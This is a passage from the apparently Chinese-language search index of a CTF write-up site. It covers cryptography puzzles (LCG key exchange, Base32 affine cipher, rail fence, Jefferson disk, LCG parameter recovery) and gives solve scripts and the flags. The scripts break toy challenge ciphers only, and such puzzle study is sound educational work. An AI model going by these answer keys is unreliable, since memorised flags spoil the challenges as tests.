&=a(a^{n-1}s+t\\cdot(a^{n-1}-1)+t) \\\\ &=a^n(s+t) \\end{split} \\end{equation}\\] \u90a3\u4e48\uff0c \\(A+t=a^{a_{priv}}(s+t),B+t=a^{b_{priv}}(s+t)\\) \uff0c shared \u5373 \\(mult(s,a_{priv}+b_{priv})=a^{a_{priv}+b_{priv}}(s+t)-t=\\frac{(A+t)(B+t)}{s+t}-t\\) from Crypto.Util.number import long_to_bytes , inverse from Crypto.Cipher import AES from hashlib import sha256 * vars , enc = open ( \"output.txt\" ) . readlines () for v in vars : exec ( v ) iv , ct = bytes . fromhex ( enc [: 32 ]), bytes . fromhex ( enc [ 32 :]) t = b * inverse ( a - 1 , p ) % p shared = (( A + t ) * ( B + t ) * inverse ( s + t , p ) - t ) % p key = sha256 ( long_to_bytes ( shared )) . digest ()[: 16 ] cipher = AES . new ( key , AES . MODE_CBC , iv = iv ) print ( cipher . decrypt ( ct ))","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/exchanged/#flag","text":"corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}","title":"Flag"},{"location":"crypto/fanfie/","text":"\u89e3\u9898\u601d\u8def \u00b6 \u89c2\u5bdf\u5b57\u7b26\u4e32 MZYVMIWLGBL7CIJOGJQVOA3IN5BLYC3NHI \uff0c\u4ec5\u7531\u5927\u5199\u5b57\u6bcd\u548c\u6570\u5b57 3\u30015\u30017 \u7ec4\u6210\uff0c\u63a8\u6d4b\u7ecf\u8fc7 Base32 \u7f16\u7801 Base32\uff1a32 \u4e2a\u53ef\u6253\u5370\u5b57\u7b26\uff0c A-Z \u548c 2-7 \uff0c\u7b49\u53f7\u586b\u5145 BITSCTF{ \u7ecf\u8fc7 Base32 \u7f16\u7801\u540e\u5f97\u5230\uff1a IJEVIU2DKRDHW=== \u5c06\u4e24\u4e2a\u5b57\u7b26\u4e32\u4e00\u4e00\u5bf9\u5e94\uff0c\u53d1\u73b0\u4e24\u4e2a M \u90fd\u5bf9\u5e94 I \uff0c\u4e24\u4e2a L \u4e5f\u90fd\u5bf9\u5e94 D \uff0c\u4e3a\u5355\u8868\u4ee3\u6362 MZYVMIWLGBL7CIJOGJQVOA3IN5BLYC3NHI IJEVIU2DKRDHW=== \u6ce8\u610f\u5230 W \u5bf9\u5e94\u7684\u662f\u6570\u5b57 2 \uff0c\u4e0d\u662f\u666e\u901a\u7684\u5b57\u6bcd\u8868\u4ee3\u6362\uff0c\u63a8\u6d4b\u662f Base32 \u5bf9\u5e94\u7684 32 \u4e2a\u53ef\u6253\u5370\u5b57\u7b26\u3002 M \u4e0e I \u7684\u8ddd\u79bb\u548c L \u4e0e D \u7684\u8ddd\u79bb\u4e0d\u540c\uff0c\u4e0d\u662f\u5355\u7eaf\u7684\u79fb\u4f4d\u52a0\u5bc6\uff0c\u800c\u662f\u4eff\u5c04\u5bc6\u7801 \u8ba1\u7b97\u65b9\u7a0b\u7ec4 \\(\\begin{cases}12a+b\\equiv8&(mod&32)\\\\ 11a+b\\equiv3&(mod&32)\\end{cases}\\) \uff0c\u89e3\u5f97 \\(\\begin{cases}a=5\\\\b=12\\end{cases}\\) \u5148\u4f7f\u7528\u4eff\u5c04\u5bc6\u7801\u89e3\u5bc6\uff0c\u5f97\u5230 IJEVIU2DKRDHWUZSKZ4VSMTUN5RDEWTNPU \uff0c\u518d\u7ecf\u8fc7 Base32 \u89e3\u7801\uff0c\u5373\u53ef\u83b7\u5f97 Flag\uff1a BITSCTF{S2VyY2tob2Zm}","title":"fanfie"},{"location":"crypto/fanfie/#_1","text":"\u89c2\u5bdf\u5b57\u7b26\u4e32 MZYVMIWLGBL7CIJOGJQVOA3IN5BLYC3NHI \uff0c\u4ec5\u7531\u5927\u5199\u5b57\u6bcd\u548c\u6570\u5b57 3\u30015\u30017 \u7ec4\u6210\uff0c\u63a8\u6d4b\u7ecf\u8fc7 Base32 \u7f16\u7801 Base32\uff1a32 \u4e2a\u53ef\u6253\u5370\u5b57\u7b26\uff0c A-Z \u548c 2-7 \uff0c\u7b49\u53f7\u586b\u5145 BITSCTF{ \u7ecf\u8fc7 Base32 \u7f16\u7801\u540e\u5f97\u5230\uff1a IJEVIU2DKRDHW=== \u5c06\u4e24\u4e2a\u5b57\u7b26\u4e32\u4e00\u4e00\u5bf9\u5e94\uff0c\u53d1\u73b0\u4e24\u4e2a M \u90fd\u5bf9\u5e94 I \uff0c\u4e24\u4e2a L \u4e5f\u90fd\u5bf9\u5e94 D \uff0c\u4e3a\u5355\u8868\u4ee3\u6362 MZYVMIWLGBL7CIJOGJQVOA3IN5BLYC3NHI IJEVIU2DKRDHW=== \u6ce8\u610f\u5230 W \u5bf9\u5e94\u7684\u662f\u6570\u5b57 2 \uff0c\u4e0d\u662f\u666e\u901a\u7684\u5b57\u6bcd\u8868\u4ee3\u6362\uff0c\u63a8\u6d4b\u662f Base32 \u5bf9\u5e94\u7684 32 \u4e2a\u53ef\u6253\u5370\u5b57\u7b26\u3002 M \u4e0e I \u7684\u8ddd\u79bb\u548c L \u4e0e D \u7684\u8ddd\u79bb\u4e0d\u540c\uff0c\u4e0d\u662f\u5355\u7eaf\u7684\u79fb\u4f4d\u52a0\u5bc6\uff0c\u800c\u662f\u4eff\u5c04\u5bc6\u7801 \u8ba1\u7b97\u65b9\u7a0b\u7ec4 \\(\\begin{cases}12a+b\\equiv8&(mod&32)\\\\ 11a+b\\equiv3&(mod&32)\\end{cases}\\) \uff0c\u89e3\u5f97 \\(\\begin{cases}a=5\\\\b=12\\end{cases}\\) \u5148\u4f7f\u7528\u4eff\u5c04\u5bc6\u7801\u89e3\u5bc6\uff0c\u5f97\u5230 IJEVIU2DKRDHWUZSKZ4VSMTUN5RDEWTNPU \uff0c\u518d\u7ecf\u8fc7 Base32 \u89e3\u7801\uff0c\u5373\u53ef\u83b7\u5f97 Flag\uff1a BITSCTF{S2VyY2tob2Zm}","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/he_thrusts_his_fists_against_the_post/","text":"\u9898\u76ee \u00b6 {ea-vetgaytereoreh-na}fan--wshbestpasslds-s-hm \u89e3\u9898\u601d\u8def \u00b6 \u7531\u82b1\u62ec\u53f7\u548c flag \u76f8\u5173\u5b57\u6bcd\u63a8\u6d4b\u662f\u7f6e\u6362\u5bc6\u7801\uff0c\u7531\u6b64\u60f3\u5230\u300c\u6805\u680f\u5bc6\u7801\u300d \u56e0\u4e3a { \u5728\u9996\u4f4d\uff0c\u52a0\u5bc6\u7684\u504f\u79fb\u91cf\u663e\u7136\u4e0d\u4e3a \\(0\\) \u679a\u4e3e\u5206\u7ec4\u957f\u5ea6\u548c\u504f\u79fb\u91cf\uff0c\u5f53\u5206\u7ec4\u957f\u5ea6\u4e3a \\(4\\) \uff0c\u504f\u79fb\u91cf\u4e3a \\(2\\) \u65f6\uff0c\u89e3\u51fa Flag\uff1a flag{and-yet-swears-he-observes-the-phantasms} \u504f\u79fb\u91cf Offset \u00b6 \u660e\u6587\u6d88\u606f\u4e3a \\(M\\) \uff0c\u52a0\u5bc6\u65f6\uff0c\u6805\u680f\u5bc6\u7801\u5206\u7ec4\u957f\u5ea6 \\(N\\) \u53ef\u4ee5\u89c6\u4e3a \\(N\\) \u884c\uff0c\u504f\u79fb\u91cf \\(x\\) \u8868\u793a\u4ece\u7b2c \\(x\\) \u884c\u5f00\u59cb\u8f93\u5165\u5b57\u7b26 \u53ef\u4ee5\u6269\u5c55\u5230 \\(N \\le x < 2 \\times (N - 1)\\) \uff08\u5f53 \\(x \\ge 2 \\times (N - 1)\\) \u65f6\uff0c\u4e0e \\(N \\le x < 2 \\times (N - 1)\\) \u5305\u542b\u7684\u60c5\u51b5\u4e00\u81f4\uff09\uff0c\u8868\u793a\u4ece\u7b2c \\(x\\) \u4e2a\u4f4d\u7f6e\uff08\u6309\u7167\u6ca1\u6709\u504f\u79fb\u91cf\u65f6\u7684\u8f93\u5165\u4f4d\u7f6e\uff09\u5f00\u59cb\u8f93\u5165\u5b57\u7b26 \u53c2\u8003\u8d44\u6599 \u00b6 Rail Fence, Zig-Zag - online encoder / decoder","title":"He Thrusts His Fists Against the Post"},{"location":"crypto/he_thrusts_his_fists_against_the_post/#_1","text":"{ea-vetgaytereoreh-na}fan--wshbestpasslds-s-hm","title":"\u9898\u76ee"},{"location":"crypto/he_thrusts_his_fists_against_the_post/#_2","text":"\u7531\u82b1\u62ec\u53f7\u548c flag \u76f8\u5173\u5b57\u6bcd\u63a8\u6d4b\u662f\u7f6e\u6362\u5bc6\u7801\uff0c\u7531\u6b64\u60f3\u5230\u300c\u6805\u680f\u5bc6\u7801\u300d \u56e0\u4e3a { \u5728\u9996\u4f4d\uff0c\u52a0\u5bc6\u7684\u504f\u79fb\u91cf\u663e\u7136\u4e0d\u4e3a \\(0\\) \u679a\u4e3e\u5206\u7ec4\u957f\u5ea6\u548c\u504f\u79fb\u91cf\uff0c\u5f53\u5206\u7ec4\u957f\u5ea6\u4e3a \\(4\\) \uff0c\u504f\u79fb\u91cf\u4e3a \\(2\\) \u65f6\uff0c\u89e3\u51fa Flag\uff1a flag{and-yet-swears-he-observes-the-phantasms}","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/he_thrusts_his_fists_against_the_post/#offset","text":"\u660e\u6587\u6d88\u606f\u4e3a \\(M\\) \uff0c\u52a0\u5bc6\u65f6\uff0c\u6805\u680f\u5bc6\u7801\u5206\u7ec4\u957f\u5ea6 \\(N\\) \u53ef\u4ee5\u89c6\u4e3a \\(N\\) \u884c\uff0c\u504f\u79fb\u91cf \\(x\\) \u8868\u793a\u4ece\u7b2c \\(x\\) \u884c\u5f00\u59cb\u8f93\u5165\u5b57\u7b26 \u53ef\u4ee5\u6269\u5c55\u5230 \\(N \\le x < 2 \\times (N - 1)\\) \uff08\u5f53 \\(x \\ge 2 \\times (N - 1)\\) \u65f6\uff0c\u4e0e \\(N \\le x < 2 \\times (N - 1)\\) \u5305\u542b\u7684\u60c5\u51b5\u4e00\u81f4\uff09\uff0c\u8868\u793a\u4ece\u7b2c \\(x\\) \u4e2a\u4f4d\u7f6e\uff08\u6309\u7167\u6ca1\u6709\u504f\u79fb\u91cf\u65f6\u7684\u8f93\u5165\u4f4d\u7f6e\uff09\u5f00\u59cb\u8f93\u5165\u5b57\u7b26","title":"\u504f\u79fb\u91cf Offset"},{"location":"crypto/he_thrusts_his_fists_against_the_post/#_3","text":"Rail Fence, Zig-Zag - online encoder / decoder","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/jefferson_disk/","text":"\u9898\u76ee \u00b6 01: < ZWAXJGDLUBVIQHKYPNTCRMOSFE < 02: < KPBELNACZDTRXMJQOYHGVSFUWI < 03: < BDMAIZVRNSJUWFHTEQGYXPLOCK < 04: < RPLNDVHGFCUKTEBSXQYIZMJWAO < 05: < IHFRLABEUOTSGJVDKCPMNZQWXY < 06: < AMKGHIWPNYCJBFZDRUSLOQXVET < 07: < GWTHSPYBXIZULVKMRAFDCEONJQ < 08: < NOZUTWDCVRJLXKISEFAPMYGHBQ < 09: < XPLTDSRFHENYVUBMCQWAOIKZGJ < 10: < UDNAJFBOWTGVRSCZQKELMXYIHP < 11: < MNBVCXZQWERTPOIUYALSKDJFHG < 12: < LVNCMXZPQOWEIURYTASBKJDFHG < 13: < JZQAWSXCDERFVBGTYHNUMKILOP < \u5bc6\u94a5\u4e3a: 2, 3, 7, 5, 13, 12, 9, 1, 8, 10, 4, 11, 6 \u5bc6\u6587\u4e3a: NFQKSEVOQOFNP \u89e3\u9898\u601d\u8def \u00b6 \u5148\u6309\u5bc6\u94a5\u987a\u5e8f\u5bf9\u884c\u8fdb\u884c\u6392\u5e8f\uff0c\u5bf9\u6bcf\u4e00\u884c\uff0c\u6eda\u52a8\u5b57\u6bcd\u8868\u4f7f\u5bc6\u6587\u5b57\u7b26\u4f4d\u4e8e\u540c\u4e00\u5217\uff08\u5982\u9996\u5217\uff09 Line Alphabets 2 NACZDTRXMJQOYHGVS F UWIKPBEL 3 FHTEQGYXPLOCKBDMA I ZVRNSJUW 7 QGWTHSPYBXIZULVKM R AFDCEONJ 5 KCPMNZQWXYIHFRLAB E UOTSGJVD 13 SXCDERFVBGTYHNUMK I LOPJZQAW 12 EIURYTASBKJDFHGLV N CMXZPQOW 9 VUBMCQWAOIKZGJXPL T DSRFHENY 1 OSFEZWAXJGDLUBVIQ H KYPNTCRM 8 QNOZUTWDCVRJLXKIS E FAPMYGHB 10 OWTGVRSCZQKELMXYI H PUDNAJFB 4 FCUKTEBSXQYIZMJWA O RPLNDVHG 11 NBVCXZQWERTPOIUYA L SKDJFHGM 6 PNYCJBFZDRUSLOQXV E TAMKGHIW \u4f9d\u6b21\u67e5\u770b\u6bcf\u4e00\u5217\uff0c\u627e\u5230\u6709\u5b9e\u9645\u610f\u4e49\u7684\u5373\u4e3a Flag\uff1a FIREINTHEHOLE \u53c2\u8003\u8d44\u6599 \u00b6 Jefferson disk - Wikipedia","title":"\u8f6c\u8f6e\u673a\u52a0\u5bc6"},{"location":"crypto/jefferson_disk/#_1","text":"01: < ZWAXJGDLUBVIQHKYPNTCRMOSFE < 02: < KPBELNACZDTRXMJQOYHGVSFUWI < 03: < BDMAIZVRNSJUWFHTEQGYXPLOCK < 04: < RPLNDVHGFCUKTEBSXQYIZMJWAO < 05: < IHFRLABEUOTSGJVDKCPMNZQWXY < 06: < AMKGHIWPNYCJBFZDRUSLOQXVET < 07: < GWTHSPYBXIZULVKMRAFDCEONJQ < 08: < NOZUTWDCVRJLXKISEFAPMYGHBQ < 09: < XPLTDSRFHENYVUBMCQWAOIKZGJ < 10: < UDNAJFBOWTGVRSCZQKELMXYIHP < 11: < MNBVCXZQWERTPOIUYALSKDJFHG < 12: < LVNCMXZPQOWEIURYTASBKJDFHG < 13: < JZQAWSXCDERFVBGTYHNUMKILOP < \u5bc6\u94a5\u4e3a: 2, 3, 7, 5, 13, 12, 9, 1, 8, 10, 4, 11, 6 \u5bc6\u6587\u4e3a: NFQKSEVOQOFNP","title":"\u9898\u76ee"},{"location":"crypto/jefferson_disk/#_2","text":"\u5148\u6309\u5bc6\u94a5\u987a\u5e8f\u5bf9\u884c\u8fdb\u884c\u6392\u5e8f\uff0c\u5bf9\u6bcf\u4e00\u884c\uff0c\u6eda\u52a8\u5b57\u6bcd\u8868\u4f7f\u5bc6\u6587\u5b57\u7b26\u4f4d\u4e8e\u540c\u4e00\u5217\uff08\u5982\u9996\u5217\uff09 Line Alphabets 2 NACZDTRXMJQOYHGVS F UWIKPBEL 3 FHTEQGYXPLOCKBDMA I ZVRNSJUW 7 QGWTHSPYBXIZULVKM R AFDCEONJ 5 KCPMNZQWXYIHFRLAB E UOTSGJVD 13 SXCDERFVBGTYHNUMK I LOPJZQAW 12 EIURYTASBKJDFHGLV N CMXZPQOW 9 VUBMCQWAOIKZGJXPL T DSRFHENY 1 OSFEZWAXJGDLUBVIQ H KYPNTCRM 8 QNOZUTWDCVRJLXKIS E FAPMYGHB 10 OWTGVRSCZQKELMXYI H PUDNAJFB 4 FCUKTEBSXQYIZMJWA O RPLNDVHG 11 NBVCXZQWERTPOIUYA L SKDJFHGM 6 PNYCJBFZDRUSLOQXV E TAMKGHIW \u4f9d\u6b21\u67e5\u770b\u6bcf\u4e00\u5217\uff0c\u627e\u5230\u6709\u5b9e\u9645\u610f\u4e49\u7684\u5373\u4e3a Flag\uff1a FIREINTHEHOLE","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/jefferson_disk/#_3","text":"Jefferson disk - Wikipedia","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/leapfrog/","tags":["algebra"],"text":"#algebra .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 leapfrog.py from Crypto.Util.number import long_to_bytes , getPrime from Crypto.Cipher import AES from Crypto.Util.Padding import pad from hashlib import sha256 from secrets import randbelow from random import sample p = getPrime ( 256 ) a = randbelow ( p ) b = randbelow ( p ) s = randbelow ( p ) def f ( s ): return ( a * s + b ) % p jumps = sample ( range ( 3 , 25 ), 12 ) output = [ s ] for jump in jumps : for _ in range ( jump ): s = f ( s ) output . append ( s ) print ( jumps ) print ( output ) flag = open ( \"flag.txt\" , \"rb\" ) . read () key = sha256 ( b \"\" . join ([ long_to_bytes ( x ) for x in [ a , b , p ]])) . digest ()[: 16 ] iv = long_to_bytes ( randbelow ( 2 ** 128 )) cipher = AES . new ( key , AES . MODE_CBC , iv = iv ) print ( iv . hex () + cipher . encrypt ( pad ( flag , 16 )) . hex ()) output.txt [5, 3, 23, 13, 24, 6, 10, 9, 7, 4, 19, 16] [26242498579536691811055981149948736081413123636643477706015419836101346754443, 30320412755241177141099565765265147075632060183801443609889236855980299685595, 65684356693401962957802832810273549345608027337432965824937963429120291339333, 15025547765549333168957368149177848577882555487889680742466312084547650972663, 46764069432060214735440855620792051531943268335710103593983788232446614161424, 71575544531523096893697176151110271985899529970263634996534766185719951232899, 8149547548198503668415702507621754973088994278880874813606458793607866713778, 12081871161483608517505346339140143493132928051760353815508503241747142024697, 65627056932006241674763356339068429188278123434638526706264676467885955099667, 23413741607307309476964696379608864503970503243566103692132654387385869400762, 56014408298982744092873649879675961526790332954773022900206888891912862484806, 77000766146189604405769394813422399327596415228762086351262010618717119973525, 14589246063765426640159853561271509992635998018136452450026806673980229327448] 05ac5b17c67bcfbf5c43fa9d319cfc4c62ee1ce1ab2130846f776e783e5797ac1c02a34045e4130f3b8111e57397df344bd0e14f3df4f1a822c43c7a89fd4113f9a7702b0b0e0b0473a2cbac25e1dd9c \u89e3\u9898\u601d\u8def \u00b6 \u4e0e exchanged \u7c7b\u4f3c\uff0c\u540c\u6837\u4f7f\u7528\u5230\u4e86\u51fd\u6570 \\(f(x)\\) \uff0c\u4e0d\u8fc7 \\(p,a,b\\) \u6ca1\u6709\u76f4\u63a5\u7ed9\u51fa \u5df2\u77e5\u521d\u59cb\u503c \\(s\\) \u3001\u6bcf\u6b21\u8fed\u4ee3\u7684\u6b21\u6570\u53ca\u7ed3\u679c \u8bbe \\(B\\) \u662f \\(A\\) \u7ecf\u8fc7 \\(n\\) \u6b21 \\(f\\) \u8fed\u4ee3\u540e\u7684\u7ed3\u679c\uff0c\u90a3\u4e48\u6709 \\(B + t = a^n(A + t)\\) \u3002\u6ce8\u610f\u5230\u6570\u7ec4 jumps \u5b58\u5728\u591a\u4e2a\u5b50\u6570\u7ec4\u96c6\u5408\uff0c\u6ee1\u8db3\u540c\u4e00\u96c6\u5408\u5185\u5b50\u6570\u7ec4\u7684\u548c\u76f8\u540c \u8bbe\u5b58\u5728\u4e2d\u95f4\u8fed\u4ee3\u7ed3\u679c \\(A,B,C,D\\) \u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6 \\[\\begin{equation} \\begin{split} B+t \\equiv a^n(A+t)\\ (mod\\ p) \\\\ C+t \\equiv a^n(B+t)\\ (mod\\ p) \\\\ D+t \\equiv a^n(C+t)\\ (mod\\ p) \\\\ \\end{split} \\end{equation}\\] \u90a3\u4e48\u6709 \\((B-C)\\equiv a^n(A-B)\\ (mod\\ p)\\) \u4ee5\u53ca \\((C-D)\\equiv a^n(B-C)\\ (mod\\ p)\\) \uff0c\u4e24\u5f0f\u76f8\u9664\u6d88\u53bb \\(a\\) \u53ef\u5f97 \\((B-C)(C-D)^{-1}\\equiv (A-B)(B-C)^{-1}\\ (mod\\ p)\\) \uff0c\u5373 \\((B-C)(B-C)-(A-B)(C-D)\\equiv 0\\ (mod\\ p)\\) \uff08\u4e0e \\((B-D)(B-C)-(A-C)(C-D)\\equiv 0\\ (mod\\ p)\\) \u662f\u7b49\u4ef7\uff09 \u7ed3\u5408\u591a\u4e2a\u5b50\u6570\u7ec4\u96c6\u5408\uff0c\u901a\u8fc7 GCD \u6c42\u51fa \\(p\\) \uff0c\u968f\u540e\u518d\u6c42\u51fa \\(a,b\\) \u5373\u53ef Exploit \u00b6 from math import gcd from sympy import nthroot_mod from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.number import inverse , long_to_bytes def f ( s ): return ( a * s + b ) % p jumps , opt , enc = open ( 'output.txt' ) . readlines () jumps , opt = eval ( jumps ), eval ( opt ) s , * opt = opt same_sum = dict () for l in range ( 1 , len ( jumps )): for i in range ( len ( jumps ) - l + 1 ): if ( sm := sum ( jumps [ i : i + l ])) not in same_sum : same_sum [ sm ] = [( i - 1 , i + l - 1 )] else : same_sum [ sm ] . append (( i - 1 , i + l - 1 )) p , mn = 0 , None for k , v in same_sum . items (): if len ( v ) == 3 : if mn is None : # \u8bb0\u5f55\u6700\u5c0f\u6ee1\u8db3\u6761\u4ef6\u7684\u5b50\u6570\u7ec4\u548c\u53ca\u76f8\u5e94\u7684\u5b50\u6570\u7ec4\u96c6\u5408 mn = ( k , v ) A , B , C = [[ opt [ i [ 0 ]], opt [ i [ 1 ]]] for i in v ] res = ( A [ 1 ] - B [ 1 ]) * ( B [ 0 ] - C [ 0 ]) - ( A [ 0 ] - B [ 0 ]) * ( B [ 1 ] - C [ 1 ]) p = gcd ( res , p ) A , B , C = [[ opt [ i [ 0 ]], opt [ i [ 1 ]]] for i in mn [ 1 ]] a_s = nthroot_mod (( A [ 1 ] - B [ 1 ]) * inverse ( A [ 0 ] - B [ 0 ], p ), mn [ 0 ], p , all_roots = True ) for a in a_s : try : # f(x) = a^n*s + b*(a^(n-1)+a^(n-2)+...+a+1) b = ( opt [ 0 ] - a ** jumps [ 0 ] * s ) * inverse ( sum ( a ** i for i in range ( jumps [ 0 ])), p ) % p test = s for _ in range ( sum ( jumps [: 2 ])): test = f ( test ) assert test == opt [ 1 ] break except : continue key = sha256 ( b \"\" . join ([ long_to_bytes ( x ) for x in [ a , b , p ]])) . digest ()[: 16 ] iv = bytes . fromhex ( enc [: 32 ]) flag = AES . new ( key , AES . MODE_CBC , iv = iv ) . decrypt ( bytes . fromhex ( enc [ 32 :])) print ( flag ) Flag \u00b6 corctf{:msfrog:_is_pr0ud_0f_y0ur_l34pfr0gg1ng_4b1lit135}","title":"leapfrog"},{"location":"crypto/leapfrog/#_1","text":"leapfrog.py from Crypto.Util.number import long_to_bytes , getPrime from Crypto.Cipher import AES from Crypto.Util.Padding import pad from hashlib import sha256 from secrets import randbelow from random import sample p = getPrime ( 256 ) a = randbelow ( p ) b = randbelow ( p ) s = randbelow ( p ) def f ( s ): return ( a * s + b ) % p jumps = sample ( range ( 3 , 25 ), 12 ) output = [ s ] for jump in jumps : for _ in range ( jump ): s = f ( s ) output . append ( s ) print ( jumps ) print ( output ) flag = open ( \"flag.txt\" , \"rb\" ) . read () key = sha256 ( b \"\" . join ([ long_to_bytes ( x ) for x in [ a , b , p ]])) . digest ()[: 16 ] iv = long_to_bytes ( randbelow ( 2 ** 128 )) cipher = AES . new ( key , AES . MODE_CBC , iv = iv ) print ( iv . hex () + cipher . encrypt ( pad ( flag , 16 )) . hex ()) output.txt [5, 3, 23, 13, 24, 6, 10, 9, 7, 4, 19, 16] [26242498579536691811055981149948736081413123636643477706015419836101346754443, 30320412755241177141099565765265147075632060183801443609889236855980299685595, 65684356693401962957802832810273549345608027337432965824937963429120291339333, 15025547765549333168957368149177848577882555487889680742466312084547650972663, 46764069432060214735440855620792051531943268335710103593983788232446614161424, 71575544531523096893697176151110271985899529970263634996534766185719951232899, 8149547548198503668415702507621754973088994278880874813606458793607866713778, 12081871161483608517505346339140143493132928051760353815508503241747142024697, 65627056932006241674763356339068429188278123434638526706264676467885955099667, 23413741607307309476964696379608864503970503243566103692132654387385869400762, 56014408298982744092873649879675961526790332954773022900206888891912862484806, 77000766146189604405769394813422399327596415228762086351262010618717119973525, 14589246063765426640159853561271509992635998018136452450026806673980229327448] 05ac5b17c67bcfbf5c43fa9d319cfc4c62ee1ce1ab2130846f776e783e5797ac1c02a34045e4130f3b8111e57397df344bd0e14f3df4f1a822c43c7a89fd4113f9a7702b0b0e0b0473a2cbac25e1dd9c","title":"\u9898\u76ee"},{"location":"crypto/leapfrog/#_2","text":"\u4e0e exchanged \u7c7b\u4f3c\uff0c\u540c\u6837\u4f7f\u7528\u5230\u4e86\u51fd\u6570 \\(f(x)\\) \uff0c\u4e0d\u8fc7 \\(p,a,b\\) \u6ca1\u6709\u76f4\u63a5\u7ed9\u51fa \u5df2\u77e5\u521d\u59cb\u503c \\(s\\) \u3001\u6bcf\u6b21\u8fed\u4ee3\u7684\u6b21\u6570\u53ca\u7ed3\u679c \u8bbe \\(B\\) \u662f \\(A\\) \u7ecf\u8fc7 \\(n\\) \u6b21 \\(f\\) \u8fed\u4ee3\u540e\u7684\u7ed3\u679c\uff0c\u90a3\u4e48\u6709 \\(B + t = a^n(A + t)\\) \u3002\u6ce8\u610f\u5230\u6570\u7ec4 jumps \u5b58\u5728\u591a\u4e2a\u5b50\u6570\u7ec4\u96c6\u5408\uff0c\u6ee1\u8db3\u540c\u4e00\u96c6\u5408\u5185\u5b50\u6570\u7ec4\u7684\u548c\u76f8\u540c \u8bbe\u5b58\u5728\u4e2d\u95f4\u8fed\u4ee3\u7ed3\u679c \\(A,B,C,D\\) \u6ee1\u8db3\u4ee5\u4e0b\u6761\u4ef6 \\[\\begin{equation} \\begin{split} B+t \\equiv a^n(A+t)\\ (mod\\ p) \\\\ C+t \\equiv a^n(B+t)\\ (mod\\ p) \\\\ D+t \\equiv a^n(C+t)\\ (mod\\ p) \\\\ \\end{split} \\end{equation}\\] \u90a3\u4e48\u6709 \\((B-C)\\equiv a^n(A-B)\\ (mod\\ p)\\) \u4ee5\u53ca \\((C-D)\\equiv a^n(B-C)\\ (mod\\ p)\\) \uff0c\u4e24\u5f0f\u76f8\u9664\u6d88\u53bb \\(a\\) \u53ef\u5f97 \\((B-C)(C-D)^{-1}\\equiv (A-B)(B-C)^{-1}\\ (mod\\ p)\\) \uff0c\u5373 \\((B-C)(B-C)-(A-B)(C-D)\\equiv 0\\ (mod\\ p)\\) \uff08\u4e0e \\((B-D)(B-C)-(A-C)(C-D)\\equiv 0\\ (mod\\ p)\\) \u662f\u7b49\u4ef7\uff09 \u7ed3\u5408\u591a\u4e2a\u5b50\u6570\u7ec4\u96c6\u5408\uff0c\u901a\u8fc7 GCD \u6c42\u51fa \\(p\\) \uff0c\u968f\u540e\u518d\u6c42\u51fa \\(a,b\\) \u5373\u53ef","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/leapfrog/#exploit","text":"from math import gcd from sympy import nthroot_mod from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.number import inverse , long_to_bytes def f ( s ): return ( a * s + b ) % p jumps , opt , enc = open ( 'output.txt' ) . readlines () jumps , opt = eval ( jumps ), eval ( opt ) s , * opt = opt same_sum = dict () for l in range ( 1 , len ( jumps )): for i in range ( len ( jumps ) - l + 1 ): if ( sm := sum ( jumps [ i : i + l ])) not in same_sum : same_sum [ sm ] = [( i - 1 , i + l - 1 )] else : same_sum [ sm ] . append (( i - 1 , i + l - 1 )) p , mn = 0 , None for k , v in same_sum . items (): if len ( v ) == 3 : if mn is None : # \u8bb0\u5f55\u6700\u5c0f\u6ee1\u8db3\u6761\u4ef6\u7684\u5b50\u6570\u7ec4\u548c\u53ca\u76f8\u5e94\u7684\u5b50\u6570\u7ec4\u96c6\u5408 mn = ( k , v ) A , B , C = [[ opt [ i [ 0 ]], opt [ i [ 1 ]]] for i in v ] res = ( A [ 1 ] - B [ 1 ]) * ( B [ 0 ] - C [ 0 ]) - ( A [ 0 ] - B [ 0 ]) * ( B [ 1 ] - C [ 1 ]) p = gcd ( res , p ) A , B , C = [[ opt [ i [ 0 ]], opt [ i [ 1 ]]] for i in mn [ 1 ]] a_s = nthroot_mod (( A [ 1 ] - B [ 1 ]) * inverse ( A [ 0 ] - B [ 0 ], p ), mn [ 0 ], p , all_roots = True ) for a in a_s : try : # f(x) = a^n*s + b*(a^(n-1)+a^(n-2)+...+a+1) b = ( opt [ 0 ] - a ** jumps [ 0 ] * s ) * inverse ( sum ( a ** i for i in range ( jumps [ 0 ])), p ) % p test = s for _ in range ( sum ( jumps [: 2 ])): test = f ( test ) assert test == opt [ 1 ] break except : continue key = sha256 ( b \"\" . join ([ long_to_bytes ( x ) for x in [ a , b , p ]])) . digest ()[: 16 ] iv = bytes . fromhex ( enc [: 32 ]) flag = AES . new ( key , AES . MODE_CBC , iv = iv ) . decrypt ( bytes . fromhex ( enc [ 32 :])) print ( flag )","title":"Exploit"},{"location":"crypto/leapfrog/#flag","text":"corctf{:msfrog:_is_pr0ud_0f_y0ur_l34pfr0gg1ng_4b1lit135}","title":"Flag"},{"location":"crypto/maybe_someday/","tags":["paillier","padding oracle attack"],"text":"#paillier #padding oracle attack .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Leave me your ciphertexts. I will talk to you later. maybe-someday.2022.ctfcompetition.com 1337 chall.py #!/usr/bin/python3 from Crypto.Util.number import getPrime as get_prime import math import random import os import hashlib # Suppose gcd(p, q) = 1. Find x such that # 1. 0 <= x < p * q, and # 2. x = a (mod p), and # 3. x = b (mod q). def crt ( a , b , p , q ): return ( a * pow ( q , - 1 , p ) * q + b * pow ( p , - 1 , q ) * p ) % ( p * q ) 